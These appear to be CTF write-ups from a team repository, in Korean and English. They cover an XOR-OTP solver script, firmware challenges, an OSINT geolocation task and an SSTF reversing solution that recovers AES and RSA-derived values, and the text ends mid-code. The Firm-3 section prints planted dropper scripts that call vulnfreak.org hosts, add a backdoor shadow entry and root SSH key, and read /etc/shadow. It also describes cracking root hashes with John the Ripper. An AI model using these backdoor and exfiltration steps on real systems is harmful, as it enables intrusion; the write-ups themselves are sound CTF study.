odd_otp_guess =[]
intersection_otp = [153, 249, 233, 201, 204, 236, 205, 237, 206, 238, 207, 239, 217, 254] # first byte && second byte's intersection otp number is default
def splitit(n):
return (n>>4) , (n&0xF)
def encrypt(flag_char, key1, key2):
m, l = splitit(flag_char)
e = ((m^key1) << 4 | (l ^ key2))
return e
'''
# delete
otp_tmp = []
for i in range(0,256):
otp_tmp.append(int(i))
#print(flag)
#print(otp_tmp)
'''
flag_length=41
#even_flag_guess = []
def chk_even():
k = 0
for i in flag: # flag byte guess
for j in intersection_otp: # otp
#print(type(j)) # int
otpm,otpl = splitit(int(j))
enc = hex(encrypt(ord(i), otpm, otpl))
enc = int(enc,16)
if enc == even_flag[k]: # 0xa1
even_otp_guess.append(j)
k += 1
if k > len(even_flag):
break
#first_flag_guess.append(i)
#exit(0)
else:
continue
#print(f'otp = {otp_guess}')
#print(f'first byte flag guess : {first_flag_guess}')
#print("new otp candidate!")
#otp = [145, 144, 147, 146, 149, 148, 151, 150, 153, 152, 192, 195, 194, 197, 196, 199, 198, 201, 200, 203, 202, 205, 204, 207, 206, 209, 208, 211, 210, 213, 212, 215, 214, 217, 216, 219, 224, 227, 226, 229, 228, 231, 230, 233, 232, 235, 234, 237, 236, 239, 238, 241, 240, 243, 242, 245, 244, 247, 246, 249, 248, 251, 254]
# second pOC
# enc == 0xad
#second_flag_guess =[]
def chk_odd():
k = 0
for i in flag:
for j in intersection_otp:
#print(type(j)) # int
otpm,otpl = splitit(int(j))
enc = hex(encrypt(ord(i), otpl, otpm))
enc = int(enc,16)
if enc == odd_flag[k]: # 0xa1
odd_otp_guess.append(j)
k += 1
if k > len(odd_flag):
break
#second_flag_guess.append(i)
#exit(0)
else:
continue
#print(f'otp = {otp_guess}')
#print(f'second byte flag guess : {second_flag_guess}')
def init():
# even [i%2]
# odd [! i%2]
for i in range(0,len(real_flag)):
if i % 2 == 0:
even_flag.append(real_flag[i])
else:
odd_flag.append(real_flag[i])
if __name__ == '__main__':
init()
chk_even()
chk_odd()
intersection_otp = list(set(even_otp_guess).intersection(odd_otp_guess))
print(f'result otp is {intersection_otp}')
result_otp = int(217)
print(f'type result_otp => {type(result_otp)}')
otpm, otpl = splitit(result_otp)
print(f'otpm => {otpm}')
print(f'otpl => {otpl}')
k = 0
l = 0
i = 0
get_flag = []
for loop in range(0,41):
print(f"Flag index {loop} finding...")
for _flag in flag:
if loop % 2 == 0: # even
enc = hex(encrypt(ord(_flag),otpm, otpl))
print("even check")
enc = int(enc,16)
if enc == real_flag[loop]:
get_flag.append(_flag)
break
#exit(0)
else: # loop is odd
enc = hex(encrypt(ord(_flag),otpl, otpm))
enc = int(enc,16)
if enc == real_flag[loop]:
get_flag.append(_flag)
break
# max = 41bytes
print("wormcon{"),
for i in range(0, len(get_flag)):
print(get_flag[i].strip(' '), end=' ')
print("}")
```

<file_sep>/WORMCON0x01/README.md
# Demon
> CTF: WORMCON 0x01
* 8th

<file_sep>/WORMCON0x01/iot/Firmware-1/writeup/Firmare-1-writeup.md
# IOT - Firm #1
Mips 파일이 하나 주어졌고, 지문은 다음과 같다.
```c
Me and my time are trying to get the admin access of the gate
but we are not able to get into it you have to find the secret password
and what is the "kernel version" so that we can attack it.
```
펌웨어는 'binwalk' 어플리케이션을 통해 데이터를 추출할 수 있다.

_Frim-1.bin.extracted가 하나의 디스크라고 보면 된다.

처음에 접근할 때는 너무 어렵게 접근하였다. secret password라고 하고, admin에 관련된 게이트라고 해서 Mips 리버싱문제인줄 알고 바이너리로 의심되는 파일들을 다 찾기 시작했다.
그러다 문제 풀이자가 많아지는 것을 보고, 생각보다 단순하게 접근하면 되구나 싶어 /etc/shadow에 존재하는 root의 해시를 브루트포싱하기로 결정하였다.
아쉽게도, 대회 당시는 John the ripper의 디폴트 딕셔너리 파일로 실행시켜두고 다른 문제들을 풀고 있었다. 아무리 시간이 지나도 패스워드가 출력되지 않았다. 그래서 잘못 된 방식으로 접근했는가보다 하고 포기하고 다른 문제들을 계속 풀었다.
대회가 끝나고, 풀이자에게 물어보니 John the ripper로 푸는게 의도한 것이였고, rockyou.txt를 사용했어야한다고 한다. John the ripper를 사용한 적이 많이 없어서 당연히 rockyou.txt로 진행하겠지 싶었다. 개인적으로 이런 문제는 펌웨어 문제로 내면 안될 거 같다.
어쨌든, John the ripper로 root 패스워드를 찾으면 다음과 같다.

커널 버전은 Firmware파일을 헥사에디터로 열람하면 바로 확인할 수 있다.
FILE: [https://drive.google.com/file/d/1tIdtg2T5DdkawgUs-zTF6Ttl3C1PeDQ_/view?usp=sharing](https://drive.google.com/file/d/1tIdtg2T5DdkawgUs-zTF6Ttl3C1PeDQ_/view?usp=sharing)
<file_sep>/WORMCON0x01/osint/missing-ranger.md
# Missing Ranger
```
My friend RangerCP has gone out for Night Out, but now, after 2 days, he has still not come home. We are not even able to contact him and by searching a lot we only get to know about his email address. Now you have to find his location (upto three decimals). Email : <EMAIL>
Flag Format:- wormcon{latitude_longitude}
Author: RCP
```
RangerCP 라는 사람이 집에 돌아오지 않는다며 이메일만 알려주었다. 해당 이메일로 아무 메일이나 보내보았다.

이메일을 보내자 위와 같이 답장이 왔다. 본인이 있는 장소라며 사진을 하나 첨부했다. 처음엔 스테가노그래피인가 싶었는데 OSINT 카테고리에, 위도 경도가 플래그임을 미루어보아 사진을 통해 위치를 특정하는 문제가 맞다고 생각했다. 아래는 원본 이미지다.

원본 이미지의 메타데이터를 가장 먼저 분석했다. 그러나 별다른 정보는 없었다. 구글에서 제공하는 이미지 검색도 이용해 보았으나 찾기가 어려웠다. 여기서 주원이형이 세상 캐리를 해버렸는데, 아래 사이트를 통해 다른 여러 포털에서도 검색해보니 동일한 이미지를 찾았다고 한다.
https://www.aware-online.com/en/osint-tutorials/reverse-image-search/
주원이 형은 이 중에 bing 에서 찾았다고 했다. 그 이름은 `<NAME>`.

거의 다 왔다고 생각했지만 생각보다 쉽지 않았다. 도대체 어디에 조형물이 있는 것인가? 무한 클릭을 시도하다가 끝내 플래그에 맞는 좌표값을 찾았다.

## flag
```
wormcon{41.878_12.481}
```<file_sep>/WORMCON0x01/iot/Firmware-3.md
# Firm - 3
```
Download
Author : x3rz & l3v1ath4n
```
디스크립션이 매우 심플하다. 바이너리 파일을 다운받을 수 있는데 내부를 살펴보면 다음과 같다.

파일 시스템이 들어있을 것을 확인할 수 있고 바로 extract 했다. 찾아보면 이런 파일도 있다.

```
str1ng5_ar3_0P
```
매우 flag 같이 생겼지만 아니다. 단순히 페이크인지 무슨 의미가 담겨 있는건지는 모르겠다.
## /etc/mklashgs.py
상수형이 찾은 의심스러운 파일이 하나 있었는데 다음과 같다.
```python
import requests,os
from bs4 import BeautifulSoup
import binascii
xvcghe = []
cvnfhf = "https://fbNZrilP.vulnfreak.org/EQbShTxG.pds"
mfghoys = requests.get(cvnfhf)
ssdvfsdfwrw = BeautifulSoup(mfghoys.content, 'html.parser')
mdhsxe = ssdvfsdfwrw.find('table')
bnlasde = open("/bin/kill1", "w")
wefbxz = mdhsxe.find('tbody')
bnjsh = '172.16.17.32:1337'
if (requests.get(bnjsh)):
os.sytem("bash ping h4cyl2dcg.vulnfreak.org")
os.sytem('touch /root/.ljsyc')
else:
pass
ksauhna = wefbxz.find_all('tr')
for cpiunbs in ksauhna:
xzng = cpiunbs.find_all('td')
for zxvds in xzng:
xvcghe.append(zxvds.text)
def ljnuyas(loyxo):
bhksd = ''.join(loyxo).encode()
return bhksd
kllsoer = ljnuyas(xvcghe)
bnlasde.write(f'{kllsoer}')
bnlasde.close()
# for asdasd in xvcghe:
# asdasd ^ 118(base)
```
우선 코드에 적혀있는 사이트들은 다 접속이 안된다. 변수명을 기이하게 적어놓아서 난독화 규칙을 찾아서 URL을 복구하는 문제인가 싶었지만 상수형이 그냥 분석 속도 늦추기 위함이라고 하셔서 폭풍삽질 5시간은 단축했다. 상수형 직감 클라스 ㄷㄷ,,,
## /bin/kill1
`/etc/mklashgs.py` 코드에서 파일 입출력을 하는 부분이 있는데 그게 바로 `/bin/kill1` 이 부분이다 주석을 보면 118과 XOR 연산하는 것을 확인할 수 있는데 다시 XOR 연산을 진행해서 118을 상쇄시키면 다음과 같은 메세지가 나온다.
```
welcometowormconbash /var/lib/misc/2tz.s
```
`wormcon bash`로 실행시킨다는 재미있는 컨셉이다. 아무튼 `/var/lib/misc/2tz.s` 파일이 존재함을 알 수 있다.
## /var/lib/misc/2tz.s
```bash
echo "Re4ch3D 4n0tH3r L3v3L"
echo "ksldkln:$6$GsG9ub.tWUTPxonE$3vog70Pde1/VGczwALgpPUbsmeaVAzIdsjPfEqWzlfty72yl6HIsZt6bCWCHm/89+YjSYLCqFLAcTgtUO16NAJxKDOGOJHFjV-EOtp15_SD4=:18668:0:99999:7:::" >> /etc/shadow
echo "ssh-rsa A<KEY>3Q4JNWIrU9HptSuPaZ17JXv9TkHAZx3Xa+vtrjvkhCUc4A6ExBChEbf4p0u5OPaf5phrFU= root@root" > /root/.authorized_keys
# To add File for dropper at /usr/bin/pgrep1
```
bash로 실행시켰으니 당연히 파일도 bash 파일이다. 플래그 같이 생긴 출력문도 존재하고 ssh key도 존재하는것 같다. 삽질을 유도하는 무서운 출력문들이다. 여기서는 가장 아래 주석을 잘 보아야 한다. `/usr/bin/pgrep1` 파일이 존재함을 알 수 있다. 코드와 주석 사이에 개행을 왜이리 많이 넣어두었나 했었는데, 이제와 생각해보니 이 주석을 강조하기 위함이 아니었을까 싶다.
## /usr/bin/pgrep1
```python
from cryptography.fernet import Fernet
import requests
from bs4 import BeautifulSoup
nsalkd = ''
with open('/etc/shadow', 'r') as f:
lnsdg = f.read().splitlines()
lmnasdi = lnsdg[-1]
nsalkd = lmnasdi
def hkmlsad(baskas):
return baskas.split('.')
def sdjsl(sjcsl):
return sjcsl[1].split(":")
def hslkcm(jslscs):
return jslscs[1].split('+')
jkadskj = hkmlsad(nsalkd)
nuiusd = hslkcm(jkadskj)
nscdl = sdjsl(nuiusd)[0].encode()
xvcghe = ''
cvnfhf = "https://cdfdfxrgt.vulnfreak.org/jadsclkx"
mfghoys = requests.get(cvnfhf)
cdcsdcsd = BeautifulSoup(mfghoys.content, 'html.parser')
nsalkd = cdcsdcsd.encode()
pkmsdhy=Fernet(nscdl)
nmasdpod= pkmsdhy.encrypt(nsalkd)
bnlasde = open("/root/ndfsdj", "w")
bnlasde.write(f'{nmasdpod}')
bnlasde.close()
os.system('bash /bin/.ps')
```
여기서도 파일입출력이 발생하는데 `/root/ndfsdj`이 파일이 그것이다. 실제로 열어보면 다음과 같다.
```
gAAAAABhIPksf_ALraPBo3d5_qTca5SEzOv2oB9LuXT78SWTNfMujG4sHG-5mO307ISlMgcHQ53iFNg4-mon0izS3wMd4dnWS3IoH7RFq01LmWALboyh2IeoSoZ99ySrP9Igi32gWb1_8KHfnhbpgOG9X8CU1VFggg==
```
처음에는 `padding` 때문에 `base64`나 비슷한 계열의 encoding 알고리즘을 적용한 것이라고 생각했지만 정상적으로 decoding 되지 않았다.
코드를 통해 이 파일에 어떠한 값을 write 하는지 살펴보았다.
```python
pkmsdhy=Fernet(nscdl)
nmasdpod= pkmsdhy.encrypt(nsalkd)
bnlasde = open("/root/ndfsdj", "w")
bnlasde.write(f'{nmasdpod}')
```
핵심은 위와 같다. `Fernet` 암호체계를 이용하여 암호화를 진행한 결과를 write 한 것이었으며, 이는 `nsalkd` 변수 값을 `nscdl` 변수를 키로 사용하여 암호화 한 것이다.
먼저 평문인 `nsalkd` 변수는 web request를 통해 받아온 값으로 현재 접근할 수 없다. 반면 key로 사용한 `nscdl` 변수는 다음과 같은 로직으로 생성된다.
```python
with open('/etc/shadow', 'r') as f:
lnsdg = f.read().splitlines()
lmnasdi = lnsdg[-1]
nsalkd = lmnasdi
def hkmlsad(baskas):
return baskas.split('.')
def sdjsl(sjcsl):
return sjcsl[1].split(":")
def hslkcm(jslscs):
return jslscs[1].split('+')
jkadskj = hkmlsad(nsalkd)
nuiusd = hslkcm(jkadskj)
nscdl = sdjsl(nuiusd)[0].encode()
```
결론부터 말하면 `/etc/shadow`를 이리저리 지지고 볶아서 key를 만든다. `/etc/shadow`는 다음과 같은 상태다.
```
root:$6$salt$2g13aibLWF.TAr10kwmtd4gaCyJ2O6y2xppR.wMlinlPShfZcYtVF4sKPE0jUIlJUt8n6WacTyMBkCPYezUSs1:17994:17994:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
```
여기서 들 수 있는 의문점은 처음 shadow 파일을 읽어서 `[-1]` 데이터를 기반으로 생성되는 것인데, 현재 shadow 데이터와 맞지 않는다. 즉, 새로 추가된 계정이라는 얘기인데, 문득 앞에서 보았던 `/var/lib/misc/2tz.s` 파일이 생각났다.
```bash
echo "ksldkln:$6$GsG9ub.tWUTPxonE$3vog70Pde1/VGczwALgpPUbsmeaVAzIdsjPfEqWz<KEY>/89+Yj<KEY>TgtUO16NAJxKDOGOJHFjV-EOtp15_SD4=:18668:0:99999:7:::" >> /etc/shadow
```
여러 특수문자가 존재하는 것을 보고 확신했다. 이를 통해서 key를 구했다.
```python
>>> def hkmlsad(baskas):
... return baskas.split('.')
...
>>> def sdjsl(sjcsl):
... return sjcsl[1].split(":")
...
>>> def hslkcm(jslscs):
... return jslscs[1].split('+')
...
>>>
>>> nsalkd = "ksldkln:$6$GsG9ub.tWUTPxonE$3vog70Pde1/VGczwALgpPUbsmeaVAzIdsjPfEqWzlfty72yl6HIsZt6bCWCHm/89+YjSYLCqFLAcTgtUO16NAJxKDOGOJHFjV-EOtp15_SD4=:18668:0:99999:7:::"
>>>
>>> jkadskj = hkmlsad(nsalkd)
>>> nuiusd = hslkcm(jkadskj)
>>> nscdl = sdjsl(nuiusd)[0].encode()
>>>
>>> nscdl
b'YjSYLCqFLAcTgtUO16NAJxKDOGOJHFjV-EOtp15_SD4='
```
흐름이 자연스러워서 직감적으로 Fernet이 대칭키 알고리즘이라고 생각했고, 바로 구글신에게 `online fernet decrypt`라고 질의했다.
## Fernet decrypt
딱 좋은 사이트를 발견했다.
https://asecuritysite.com/encryption/ferdecode
`/root/ndfsdj` 파일의 내용과 방금 구한 key 값을 넣고 실행해보았다

## flag
```
wormcon{F1nd1nG_M3_1s_N0T_345Y!!!!!!!!!!!!!!!!!!!}
```<file_sep>/SSTF/Rev/secure-enough/writeup.md
# SSTF - Secure Enough
# Type
Reverse Engineering
# **Material**
One Binary file
One Network packet file
# Description
```c
I made my protocol.
I think it is really safe.
```
# Summary
1. The packet can communicate with 7001 port.
2. MD5 data is depends on time stamp.
3. The timestamp is weak methodology if it uses on the srand().
4. This binary uses AES256 CBC mode. That's why players should find the Key and IV into the binary logic first.
5. The author shared one of RSA public key. It meant players can decrypt data via this key. (RSA_public_decrypt function is vulnerable) because can get n and e value.
6. The packer number 4, 6, 8, 10, 18, 20, 22, and 24 is communicated data via ELF file.
# Structure #1 Network
This binary communicated with one of ports which is 7001.
```c
__int64 __fastcall connect_network(__int64 a1, __int64 a2, __int64 a3)
{
unsigned int fd; // [rsp+18h] [rbp-28h]
__int16 s; // [rsp+20h] [rbp-20h]
uint16_t v6; // [rsp+22h] [rbp-1Eh]
int v7; // [rsp+24h] [rbp-1Ch]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
fd = socket(2, 1, 0);
memset(&s, 0, 0x10u);
s = 2;
v6 = htons(7001u);
inet_pton(2, (const char *)a1, &v7);
if ( !connect(fd, (const struct sockaddr *)&s, 0x10u) )
return fd;
perror("connect");
return 0xFFFFFFFFLL;
}
```
# Structure #2 RSA
The binary has one RSA public key. The methodology was set via openssl framework. The function name is BIO_new_mem_buf. It will be make a memory about BIO structure.
```c
"-----BEGIN PUBLIC KEY-----\n"
"<KEY>"
"<KEY>"
"<KEY>"
"<KEY>"
"<KEY>"
"<KEY>"
"l<KEY>"
"-----END PUBLIC KEY-----",
```
# Structure #3 MD5 & AES
Some of .bss datas will use MD5 calculator. Following the md5 function, values('tmp1', 'tmp2', and 'tmp7') are important data. Later, these temp values will be renamed based on their own real behaviour.
```c
__int64 __fastcall md5(__int64 a1, __int64 a2, __int64 a3)
{
__int64 target; // ST08_8
char v5; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
target = a3;
v6 = __readfsqword(0x28u);
MD5_Init(&v5, a2);
MD5_Update(&v5, a1, (signed int)a2);
MD5_Update(&v5, &tmp1, 32LL);
MD5_Update(&v5, &tmp2, 32LL);
MD5_Update(&v5, &tmp7, 32LL);
MD5_Final(target, &v5);
return __readfsqword(0x28u) ^ v6;
}
```
```c
__int64 __fastcall sub_170F(__int64 a1)
{
md5("A", 1LL, &tmp3);
md5("BB", 2LL, &tmp4);
md5("CCC", 3LL, &tmp5);
return md5("DDDD", 4LL, &tmp6);
}
```
If players can catch this code below, they recognise what is value's real intentions.
```c
__int64 __fastcall sub_17D2(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v3; // ST08_8
__int64 v4; // rax
unsigned int v6; // [rsp+24h] [rbp-1Ch]
int v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+2Ch] [rbp-14h]
__int64 v9; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v3 = a3;
v10 = __readfsqword(0x28u);
v9 = EVP_CIPHER_CTX_new();
v4 = EVP_aes_256_cbc();
v7 = EVP_EncryptInit_ex(v9, v4, 0LL, &key, &iv);
v7 = EVP_EncryptUpdate(v9, v3, &v6, a1, a2);
v8 = v6;
v7 = EVP_EncryptFinal_ex(v9, (signed int)v6 + v3, &v6);
v8 += v6;
EVP_CIPHER_CTX_free(v9);
return v8;
}
```
```c
__int64 __fastcall sub_170F(__int64 a1)
{
md5("A", 1LL, &key); // changed
md5("BB", 2LL, &tmp4); // connected key
md5("CCC", 3LL, &iv); // changed
return md5("DDDD", 4LL, &tmp6); // IDK? FAKE
}
```
The tmp4 and tmp6 did not have any connection on the logic. In other words, &key and &tmp4 is set. Hence, the &iv and &tmp6 also set.
# How to find the timestamp?
This is quite simple thing. It is because, the author shared to players about one packet file called by out.pcap. This file has only 28 packets. Fortunately, the packet time difference is not messy.
Let me share my timestamp via the packet.

The arrival time(Human date) can replace Unix Timestamp instead.

Therefore, we can use the Epoch time is '1624347317'.
# How to make encrypt data?
Next step, players need to check how to make encrypt data via full binary execution. Look at the this logic instead. Please be careful, the binary is just example. Therefore, your purpose is get some algorithm via the binary no need think about what is binary has data deeply.
```c
unsigned __int64 __fastcall goto_Encrypt(int a1)
{
__int64 src; // [rsp+18h] [rbp-48h]
int v3; // [rsp+20h] [rbp-40h]
__int64 packet_buf; // [rsp+24h] [rbp-3Ch]
int v5; // [rsp+2Ch] [rbp-34h]
__int64 buf; // [rsp+30h] [rbp-30h]
__int64 v7; // [rsp+38h] [rbp-28h]
__int64 v8; // [rsp+40h] [rbp-20h]
__int64 v9; // [rsp+48h] [rbp-18h]
unsigned __int64 v10; // [rsp+58h] [rbp-8h]
v10 = __readfsqword(0x28u);
src = ' eM eviG';
v3 = 'yeK';
packet_buf = 0LL;
v5 = 0;
LOBYTE(packet_buf) = 3;
memcpy((char *)&packet_buf + 1, &src, 0xBu); // Give Me Key : example(fake)
buf = 0LL; // 32bytes : init
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
AES256_Encrypt((__int64)&packet_buf, 0xCu, (__int64)&buf);// buf : 32bytes
write(a1, &buf, 0x20u);
return __readfsqword(0x28u) ^ v10;
}
```
# Where is exist real packet?
As you know, players offered one packet file by the author. Although the packet already encrypted, do not need scared when you analysis. Because, we can check binary data from the packet.
The packer number 4, 6, 8, 10, 18, 20, 22, and 24 has data packet.
Anyway, let us check first tmp1 and tmp2.
```c
__int64 __fastcall md5(__int64 plainData, __int64 len, __int64 a3)
{
__int64 target; // ST08_8
char v5; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
target = a3;
v6 = __readfsqword(0x28u);
MD5_Init(&v5, len);
MD5_Update(&v5, plainData, (signed int)len);
MD5_Update(&v5, &tmp1, 32LL); // We are still do not know
MD5_Update(&v5, &tmp2, 32LL); // We are still do not know
MD5_Update(&v5, &tmp7, 32LL); // We are still do not know
MD5_Final(target, &v5);
return __readfsqword(0x28u) ^ v6;
}
// a3 is &tmp1 and &tmp2
__int64 __fastcall KeyGenerator(__int64 data, __int64 a2, __int64 a3)
{
unsigned int timestamp; // eax
__int64 v4; // rdx
_QWORD *v5; // rcx
__int64 v6; // rdx
int rand_data; // [rsp+18h] [rbp-E8h]
int another_rand_data; // [rsp+1Ch] [rbp-E4h]
char v10; // [rsp+20h] [rbp-E0h]
char v11; // [rsp+80h] [rbp-80h]
__int64 v12; // [rsp+E0h] [rbp-20h]
__int64 v13; // [rsp+E8h] [rbp-18h]
unsigned __int64 v14; // [rsp+F8h] [rbp-8h]
v14 = __readfsqword(0x28u);
timestamp = time(0LL);
srand(timestamp);
rand_data = rand();
MD5_Init(&v10, a2);
MD5_Update(&v10, &rand_data, 4LL);
MD5_Final(&v12, &v10);
v4 = v13;
*(_QWORD *)data = v12;
*(_QWORD *)(data + 8) = v4;
another_rand_data = rand();
MD5_Init(&v11, &v10);
MD5_Update(&v11, &another_rand_data, 4LL);
MD5_Final(&v12, &v11);
v5 = (_QWORD *)(data + 16);
v6 = v13;
*v5 = v12;
v5[1] = v6;
return __readfsqword(0x28u) ^ v14;
}
```
We already got the timestamp. It's value is a 1624347317. but python code no exist srand function into the random module.
- Code
```python
from ctypes import c_int, c_uint
import hashlib # md5
import struct
import binascii
timestamp = 1624347317
# ref
# https://gist.github.com/integeruser/4cca768836c68751904fe215c94e914c
def srand(seed):
srand.r = [0 for _ in range(34)]
srand.r[0] = c_int(seed).value
for i in range(1, 31):
srand.r[i] = (16807 * srand.r[i - 1]) % 2147483647
for i in range(31, 34):
srand.r[i] = srand.r[i - 31]
srand.k = 0
for _ in range(34, 344):
rand()
def rand():
srand.r[srand.k] = srand.r[(srand.k - 31) % 34] + srand.r[(srand.k - 3) % 34]
r = c_uint(srand.r[srand.k]).value >> 1
srand.k = (srand.k + 1) % 34
return r
srand(timestamp)
tmp1 = hashlib.md5(struct.pack('<I', rand())).digest()
tmp2 = hashlib.md5(struct.pack('<I', rand())).digest()
generate = tmp1+tmp2
print(type(generate))
# b'\xa3\xe6\xf4\x84\xd7\x86Z\xb1\x05n\x15\x83<t\x8b\xed\xb6\x89\xc0a?\xa1\x14j5\xf1)yzw\x05\x14'
# PoC (via packet 04)
test = "01a3e6f484d7865ab1056e15833c748bedb689c0613fa1146a35f129797a7705142e9041559d7b0efb5cca1ec10310091de88fe3d3b85df5862be216ae07c13a25b3554692c441e9a3574275a6b3f3cb7f70e4c4967e7f893fdff2d8279f70d53a9265aea14c86b560e97e813cec1d03ef819d276d0e7e1c0809dabb367dc85c387a2ebc79e2740a89f1b119c7ee978d436b6389cc2be163670f4fb82dd96801cf5d9626f8b903c039b06e7d0d8cfeceb2c21ec6054843628499bd12a741d2d35bdd4361f07148cae759833a4a1ea15d6874c21cafa4934eab3debff36252149a11407bf4196cf18242937757ae408856f1e654a25d9d75849df2b664c6886ee97d5a940d73faf9625b709beda7c1d0f171ca061fe3bf0e6232592d817f9a4a6a60000"
md5_test = binascii.unhexlify(test[2:2 + len(generate*2)])
if md5_test == generate:
print("Great")
else:
exit(0)
```
How can we get data, tmp7? The tmp7 only handled by two addresses.

The feature allows we to recognise that it is a 'tmp7' associated with RSA. Then, the 'tmp7' length is 32 also.
```c
signed __int64 __fastcall sub_1561(int a1)
{
signed __int64 result; // rax
char src; // [rsp+10h] [rbp-210h]
char s; // [rsp+110h] [rbp-110h]
_BYTE v4[7]; // [rsp+111h] [rbp-10Fh]
unsigned __int64 v5; // [rsp+218h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x103u);
if ( read(a1, &s, 0x103u) >= 0 )
{
if ( s == 2 )
{
RSA_decrypt_option((__int64)v4, 0x100u, (__int64)&src);
memcpy(&tmp7, &src, 0x20u); // 32
result = 0LL;
}
else
{
puts("Not a valid response packet");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("Failed to receive");
result = 0xFFFFFFFFLL;
}
return result;
}
signed __int64 __fastcall RSA_decrypt_option(__int64 a1, unsigned int len, __int64 a3)
{
signed __int64 result; // rax
__int64 v4; // [rsp+8h] [rbp-28h]
__int64 v5; // [rsp+28h] [rbp-8h]
v4 = a3;
v5 = get_RSA_PUBKEY();
if ( v5 )
result = (unsigned int)RSA_public_decrypt(len, a1, v4, v5, 1LL);
else
result = 0xFFFFFFFFLL;
return result;
}
__int64 get_RSA_PUBKEY(void)
{
__int64 v1; // [rsp+8h] [rbp-18h]
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0LL;
v2 = BIO_new_mem_buf(
"-----BEGIN PUBLIC KEY-----\n"
"<KEY>kqhki<KEY>AOCAQ8AMIIBCgKCAQEA214EFGCpMbQhB4uRo7P9\n"
"FAajAfvz7ianshjD44IvZeZHeEYTfa1zONbjYGK2lw/0v+xZ/Em4M9sPOSGlsPcr\n"
"vG3O9/XKM0+he05Lh8nedtMnpOQgxFhwJNbdKR3SYzsH8+JziLHAmKQmlmH8FBiE\n"
"reGsshAhICrz8GGDCjDg7Aam4wKj0HY6hfj8zUYjAf2MxoozWIYFmjSXI2xwp6Kq\n"
"Uqhac9W0nnQkToe+vtBjlcPowRV9WViNIB2msE6afe+YqKVSYNizbEXSbmocsA+A\n"
"job4i1u8LAtdd4zF5gmGuKCJITiMMglakHzwosXXfbejIaJlpfC6sx4xIu6nkx6Y\n"
"lQIDAQAB\n"
"-----END PUBLIC KEY-----",
0xFFFFFFFFLL);
if ( v2 )
return PEM_read_bio_RSA_PUBKEY(v2, &v1, 0LL, 0LL);
perror("Failed to create key BIO");
return 0LL;
}
```
Do you remember? We already used packet 4. This packet can see the md5 value (tmp1+tmp2)
Vulnerabilty in this problem arise where decrypting is carried out with public key.
By the way, we can find chiper data into the packet file.
Look at the packet 6. As you know from the packet 4
The packet 6 is RSA cipher.
```c
__int64 __fastcall RSA_encrypt_option(__int64 buf, __int64 len, __int64 a3)
{
__int64 result; // rax
__int64 output; // [rsp+8h] [rbp-28h]
__int64 v5; // [rsp+28h] [rbp-8h]
output = a3;
v5 = get_RSA_PUBKEY();
if ( v5 )
result = (unsigned int)RSA_public_encrypt((unsigned int)len, buf, output, v5, 1LL);// buf is tmp2
else
result = 0xFFFFFFFFLL;
return result;
}
```
Actually, the original RSA decryption using by this methodology.
RSA decryption algorithm is below.
M = c ^ d mod n (d is private key)
pow(c,d,n)
However. I just have public key.
So, I can use c ^ e mod n instead. because the binary using RSA_public_decrypt().
Let us try to get e, n, m, and md53 value through the Public key.
- Code
```python
pubKey = RSA.importKey(open('sstf.pub','r').read())
e = pubKey.e
n = hex(pubKey.n)
print(f'e is {e}')
print(f'n is {n}')
m = pow(c,e,int(n,16))
print(type(m))
print(hex(m)) # RSA_encryption_option(&tmp2,32,&v4)
print(len(hex(m)))
md53 = binascii.unhexlify(hex(m)[-64:])
print(md53)
```
# Answer
- Code
```python
from ctypes import c_int, c_uint
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import hashlib # md5
import struct
import binascii
from Crypto.Util.py3compat import b
timestamp = 1624347317
# ref
# https://gist.github.com/integeruser/4cca768836c68751904fe215c94e914c
def srand(seed):
srand.r = [0 for _ in range(34)]
srand.r[0] = c_int(seed).value
for i in range(1, 31):
srand.r[i] = (16807 * srand.r[i - 1]) % 2147483647
for i in range(31, 34):
srand.r[i] = srand.r[i - 31]
srand.k = 0
for _ in range(34, 344):
rand()
def rand():
srand.r[srand.k] = srand.r[(srand.k - 31) % 34] + srand.r[(srand.k - 3) % 34]
r = c_uint(srand.r[srand.k]).value >> 1
srand.k = (srand.k + 1) % 34
return r
srand(timestamp)
tmp1 = hashlib.md5(struct.pack('<I', rand())).digest()
tmp2 = hashlib.md5(struct.pack('<I', rand())).digest()
generate = tmp1+tmp2
md51 = generate
print(type(generate))
# b'\xa3\xe6\xf4\x84\xd7\x86Z\xb1\x05n\x15\x83<t\x8b\xed\xb6\x89\xc0a?\xa1\x14j5\xf1)yzw\x05\x14'
# PoC (via packet 04)
test = "01a3e6f484d7865ab1056e15833c748bedb689c0613fa1146a35f129797a7705142e9041559d7b0efb5cca1ec10310091de88fe3d3b85df5862be216ae07c13a25b3554692c441e9a3574275a6b3f3cb7f70e4c4967e7f893fdff2d8279f70d53a9265aea14c86b560e97e813cec1d03ef819d276d0e7e1c0809dabb367dc85c387a2ebc79e2740a89f1b119c7ee978d436b6389cc2be163670f4fb82dd96801cf5d9626f8b903c039b06e7d0d8cfeceb2c21ec6054843628499bd12a741d2d35bdd4361f07148cae759833a4a1ea15d6874c21cafa4934eab3debff36252149a11407bf4196cf18242937757ae408856f1e654a25d9d75849df2b664c6886ee97d5a940d73faf9625b709beda7c1d0f171ca061fe3bf0e6232592d817f9a4a6a60000"
md5_test = binascii.unhexlify(test[2:2 + len(generate*2)])
md52 = md5_test
if md5_test == generate:
print("Great")
else:
exit(0)
# RSA decrypt
# c^d mod n (fermat's little theorom)
# pow(c,d,n)
